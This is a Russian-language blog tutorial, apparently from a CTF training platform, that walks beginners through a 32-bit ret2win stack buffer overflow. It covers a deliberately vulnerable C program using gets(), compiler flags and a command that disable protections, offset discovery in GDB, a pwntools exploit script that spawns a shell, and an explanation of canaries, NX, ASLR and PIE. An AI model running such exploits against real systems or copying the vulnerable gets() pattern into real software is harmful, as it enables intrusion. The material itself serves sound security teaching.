Главная / Блог / Buffer Overflow для начинающих: перезаписываем EIP

9 мин.00

Buffer Overflow для начинающих: перезаписываем EIP

Buffer Overflow для начинающих: перезаписываем EIP

Три года работы с начальными pwn-треками на CTF-площадках показали одну вещь: новички спотыкаются не об саму уязвимость, а об инфраструктуру вокруг неё. «Почему GDB показывает другой адрес?» — ASLR включён. «Почему EIP не 0x42424242?» — offset кривой. «Почему exploit работает в GDB, но не без него?» — отладчик сдвигает стек. Сама эксплуатация buffer overflow — десять строк Python и одна фундаментальная идея: данные пользователя и управляющая информация программы лежат рядом в памяти, без аппаратной границы. Здесь — полная цепочка от компиляции уязвимого бинаря до $ в терминале, с разбором каждого шага в GDB. Каждого.

Зачем атакующему переполнение стека

Переполнение буфера — не учебная абстракция из методички. В MITRE ATT&CK техника попадает сразу в две тактики: Exploitation for Client Execution (T1203, Execution) — уязвимость в приложении даёт выполнение произвольного кода, и Exploitation for Privilege Escalation (T1068) — когда уязвимый бинарь крутится с SUID-битом или от root. По данным Mandiant M-Trends 2025, эксплойты — самый частый вектор initial access: 38% инцидентов начинаются именно с эксплуатации уязвимости. Подробнее — в нашем обзоре бинарный анализ уязвимостей.

Бизнес-логика атаки проста до безобразия. Программа хранит данные пользователя (содержимое буфера) и управляющую информацию (адрес возврата из функции) в одном непрерывном блоке памяти — на стеке. Запишешь в буфер больше, чем он вмещает — лишние байты затрут адрес возврата. Когда функция выполнит ret, процессор загрузит подменённый адрес в EIP (на x86) или RIP (на x86-64) и продолжит выполнение оттуда, куда указал атакующий. На CTF этот сценарий сжимается до одной задачи: перезаписать адрес возврата адресом функции win(), которая вызывает system("/bin/sh"). Паттерн называется ret2win.

Стековый кадр: что лежит между буфером и адресом возврата

Для эксплуатации buffer overflow достаточно понимать три регистра.

ESP / RSP (Stack Pointer) — вершина стека. Стек на x86 растёт вниз, от старших адресов к младшим: каждый push уменьшает ESP, каждый pop увеличивает.

EBP / RBP (Base Pointer) — начало текущего стекового кадра. Относительно него компилятор адресует локальные переменные (отрицательное смещение) и аргументы функции (положительное).

EIP / RIP (Instruction Pointer) — адрес следующей инструкции для процессора. Напрямую записать в него нельзя, но ret снимает значение с вершины стека и загружает его в EIP/RIP. Контроль над стеком = контроль над выполнением программы. Вот и вся магия.

Что происходит при вызове функции

Когда процессор выполняет call vuln, он кладёт на стек адрес следующей за call инструкции — адрес возврата. Дальше vuln сохраняет текущий EBP (push ebp), устанавливает новый (mov ebp, esp) и сдвигает ESP вниз, выделяя место под локальные переменные (sub esp, N).

Для функции с char buf[64] стековый кадр выглядит так (от младших адресов к старшим):

Адрес (условно) Содержимое Размер (x86)
ESP -> buf[0..63] — локальный буфер 64 байта
... padding (зависит от компилятора) 0-12 байт
EBP -> saved EBP — сохранённый указатель кадра вызывающей функции 4 байта
EBP+4 return address — адрес возврата (куда вернётся ret) 4 байта

Запись в buf идёт от младших адресов к старшим — вверх по таблице. Когда gets() читает ввод без проверки длины, данные последовательно затирают padding, saved EBP и адрес возврата. Именно тут атакующий перехватывает EIP.

Нюанс x86-64 для перезаписи RIP

На 64-bit принцип тот же, но есть два подводных камня. Адреса — 8 байт, и процессор принимает только каноничные: от 0x0000000000000000 до 0x00007FFFFFFFFFFF для userland. Забить RIP байтами 0x41 не выйдет — 0x4141414141414141 не каноничен, процессор выбросит general protection fault. Ещё на x86-64 перед вызовом функций стек должен быть выровнен на 16 байт; нарушение выравнивания — частая причина segfault на movaps в libc (и частый вопрос на форуме). Для первого pwn-таска работаем с 32-bit, где этих граблей нет.

Готовим окружение и собираем уязвимый бинарь

Предусловия

Параметр Значение
ОС Linux (Ubuntu/Debian/Kali)
Архитектура бинаря x86 (32-bit)
ASLR Отключён (randomize_va_space = 0)
Stack Canary Отключён (-fno-stack-protector)
NX (DEP) Отключён (-z execstack)
PIE Отключён (-no-pie)
Отладчик GDB + pwndbg или GEF
Python pwntools

Ставим зависимости: sudo apt install gcc-multilib gdb и pip install pwntools. Для pwndbg — клонируем репозиторий и запускаем setup.sh, он пропатчит .gdbinit. После этого GDB при остановке процесса будет автоматически показывать контекст: регистры, стек, дизассемблированный код — без ручных команд. Кто работал с голым GDB, оценит разницу.

Отключаем ASLR: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space. После практики обязательно верните обратно: echo 2 | sudo tee /proc/sys/kernel/randomize_va_space.

Минимальный уязвимый бинарь в стиле ret2win:

#include <stdio.h>
#include <stdlib.h>

void win() { system("/bin/sh"); }

void vuln() {
    char buf[64];
    gets(buf);  // читает без проверки длины — тут и живёт баг
}

int main() { vuln(); return 0; }

Функция win() есть в коде, но нигде не вызывается штатно — задача атакующего до неё «добраться». gets() читает ввод до символа новой строки, игнорируя размер буфера. GCC честно предупредит: the gets function is dangerous. Именно эта опасность делает задачу возможной.

Компилируем: gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c. Проверяем защиты: checksec --file=vuln. Ожидаемый результат — Canary: No, NX: disabled, PIE: No, RELRO: Partial. Если хоть одна защита включена — exploit не сработает, перекомпилируйте.

Находим offset через паттерн де Брёйна в GDB

Offset — количество байт от начала буфера до адреса возврата. Ручной подсчёт «64 байта буфера + 4 байта saved EBP = 68» не всегда верен: компилятор может добавить padding для выравнивания. Поэтому offset определяем экспериментально, через паттерн де Брёйна — последовательность, в которой каждая подстрока длиной 4 байта уникальна.

Пошаговый процесс

Запускаем бинарь в отладчике: gdb ./vuln. Генерируем паттерн длиной 200 байт — в pwndbg прямо внутри GDB: cyclic 200. Или в терминале: python3 -c "from pwn import *; print(cyclic(200).decode())".

run, вставляем паттерн. Программа падает с SIGSEGV — EIP попытался перейти по адресу, который на самом деле фрагмент нашего паттерна. Pwndbg подсветит значение EIP — допустим, 0x6161616c.

Определяем позицию: cyclic -l 0x6161616c. Pwntools вернёт число — это и есть offset. Допустим, 76: первые 76 байт заполняют буфер, padding и saved EBP, а байты 77–80 ложатся ровно в адрес возврата.

Верификация

Подаём тестовый payload: 76 байт A и четыре байта B. В GDB: run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'BBBB')"). Если EIP стал 0x42424242 (ASCII B = 0x42) — offset правильный. Если нет — пересчитываем. Паттерн должен быть длиннее буфера минимум на 50 байт, иначе уникальная подстрока может не дотянуться до адреса возврата.

Пишем ret2win эксплойт на pwntools

Нужен адрес win(). Два способа: через pwntools — python3 -c "from pwn import *; e = ELF('./vuln'); print(hex(e.symbols['win']))" или в GDB — p &win. Допустим, 0x08049196. PIE отключён, адрес фиксирован при каждом запуске.

from pwn import *

elf = ELF('./vuln')
p = process('./vuln')

offset = 76
payload = b'A' * offset          # мусор — забиваем буфер и saved EBP
payload += p32(elf.symbols['win']) # а вот тут — адрес win() в little-endian

p.sendline(payload)
p.interactive()

Разбор по строкам. ELF('./vuln') парсит бинарь и достаёт таблицу символов. process('./vuln') запускает процесс локально; для удалённого CTF-сервера замените на remote('ctf.example.com', 1337). b'A' * offset — мусорные байты, заполняющие буфер и saved EBP. p32(elf.symbols['win']) — ключевая строка: упаковывает 4-байтовый адрес в little-endian. На x86 младший байт идёт первым: 0x08049196 в памяти хранится как \x96\x91\x04\x08. Не собирайте адрес вручную — перепутать порядок байтов проще, чем кажется, я видел это десятки раз. p.sendline() отправляет payload с символом новой строки (именно его ждёт gets()). p.interactive() передаёт управление — если win() отработала, в терминале появится shell.

Запуск: python3 exploit.py. Появился $ — переполнение стека сработало. ret загрузила адрес win() в EIP, процессор выполнил system("/bin/sh"). Готово.

Частые ошибки при эксплуатации buffer overflow

Неправильный offset. Симптом: EIP не равен 0x42424242 при тестовом payload с BBBB. Причина: ручной подсчёт не учёл padding, или паттерн был слишком коротким. Решение: повторить с cyclic длиной буфер + 100 байт, заново выполнить cyclic -l.

Забытый ASLR. Симптом: exploit работает в GDB, но падает без отладчика. GDB по умолчанию отключает ASLR для отлаживаемого процесса — за его пределами система рандомизирует стек. Для ret2win это обычно не критично (прыгаем на адрес внутри бинаря, а не на стек), но если всё равно не работает — проверяйте: cat /proc/sys/kernel/randomize_va_space должен вернуть 0.

Endianness. Симптом: EIP содержит адрес задом наперёд. Адрес записан в big-endian вместо little-endian. Решение: всегда использовать p32() / p64() из pwntools.

Segfault на movaps (только x86-64). Адрес win() верный, но программа падает внутри libc. Стек не выровнен на 16 байт. Решение: добавьте в payload адрес ret-гаджета (одиночная инструкция ret из бинаря) перед адресом win(), чтобы сдвинуть RSP на 8 байт. Ищется через ROPgadget --binary vuln | grep ': ret'.

Защиты стека: почему ret2win не работает в проде

Exploit сработал только потому, что при компиляции мы намеренно вырубили все защиты. В реальных бинарях их минимум четыре.

Stack Canary (D3-SFCV, Stack Frame Canary Validation). Компилятор вставляет случайное значение — канарейку — между локальными переменными и saved EBP. Перед ret функция проверяет её целостность. Если значение изменилось — __stack_chk_fail убивает процесс до того, как перезаписанный адрес попадёт в EIP. В Linux при срабатывании ядро генерирует stack smashing detected — это событие ловит Sigma-правило lnx_buffer_overflows.yml из SigmaHQ.

NX / DEP (D3-PSEP, Process Segment Execution Prevention). Стек помечен как неисполняемый. Даже если записать shellcode в буфер и перенаправить EIP — процессор откажется выполнять код со страницы без execute-бита. Обход: Return-Oriented Programming (ROP), где payload собирается из фрагментов уже существующего исполняемого кода.

ASLR (D3-SAOR, Segment Address Offset Randomization). ОС рандомизирует базовые адреса стека, кучи и разделяемых библиотек. Адрес win() в бинаре без PIE фиксирован, но адреса функций libc меняются при каждом запуске. Обход: утечка адреса через GOT/PLT или брутфорс (32-bit ASLR имеет ограниченную энтропию — иногда хватает нескольких тысяч попыток).

PIE (Position Independent Executable). Сам бинарь загружается по случайному базовому адресу. Адрес win() неизвестен заранее, нужна утечка и вычисление базы.

Каждая защита — отдельная тема. Для первого pwn-таска правило простое: если checksec показывает Canary: No, NX: disabled, PIE: No — перед вами классический ret2win, и описанная цепочка сработает целиком.

Большинство новичков воспринимают pwn как «магию для избранных», хотя ret2win — одна из самых детерминированных задач в CTF. Если offset найден правильно и защиты отключены — payload работает со стопроцентной повторяемостью. Проблема не в сложности техники, а в количестве молчаливых предусловий, которые нигде не прописаны в условии задания: отключенный ASLR, правильные флаги компиляции, настроенный GDB с плагином. Без них бинарь молча падает в SIGSEGV и ничего не объясняет.

Я бы рекомендовал не бросаться на pwn-таски с нуля на соревновании. Соберите стенд, прогоните цепочку от компиляции до shell три-четыре раза, пока руки запомнят последовательность. Потом усложняйте: включите canary — попробуйте обойти через format string. Включите NX — постройте ROP-цепочку. Каждое усложнение — ровно одна новая техника поверх уже работающей базы, а не отдельная дисциплина. Если хочешь не просто writeup, а пройти всю цепочку атаки самому — на WAPT эту прогрессию проходят в модулях с лабами.

🚀 Хочешь закрепить на практике? CTF-задачи и лабы ждут на HackerLab.

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Уязвимости аутентификации в CTF через Burp Repeater

13 мин.

2

Уязвимости аутентификации в CTF через Burp Repeater

Пошаговый разбор уязвимостей аутентификации в CTF: подделка cookie, взлом JWT, обход через HTTP-заголовки. Практика в Burp Repeater с примерами запросов.

10 НОЯБРЬ, 2026

Анализ ELF и PE файлов: читаем заголовки до Ghidra

11 мин.

5

Анализ ELF и PE файлов: читаем заголовки до Ghidra

Как читать заголовки ELF и PE за 5 минут: magic bytes, readelf, pefile, красные флаги пакеров и обфускации — практический чеклист перед запуском дизассемблера

9 НОЯБРЬ, 2026

Как написать write-up для CTF: чеклист

12 мин.

7

Как написать write-up для CTF: чеклист

Markdown-шаблон write-up, чеклист из 16 пунктов, таблица «хороший vs плохой» — практический гайд по оформлению CTF-разборов для новичков

9 НОЯБРЬ, 2026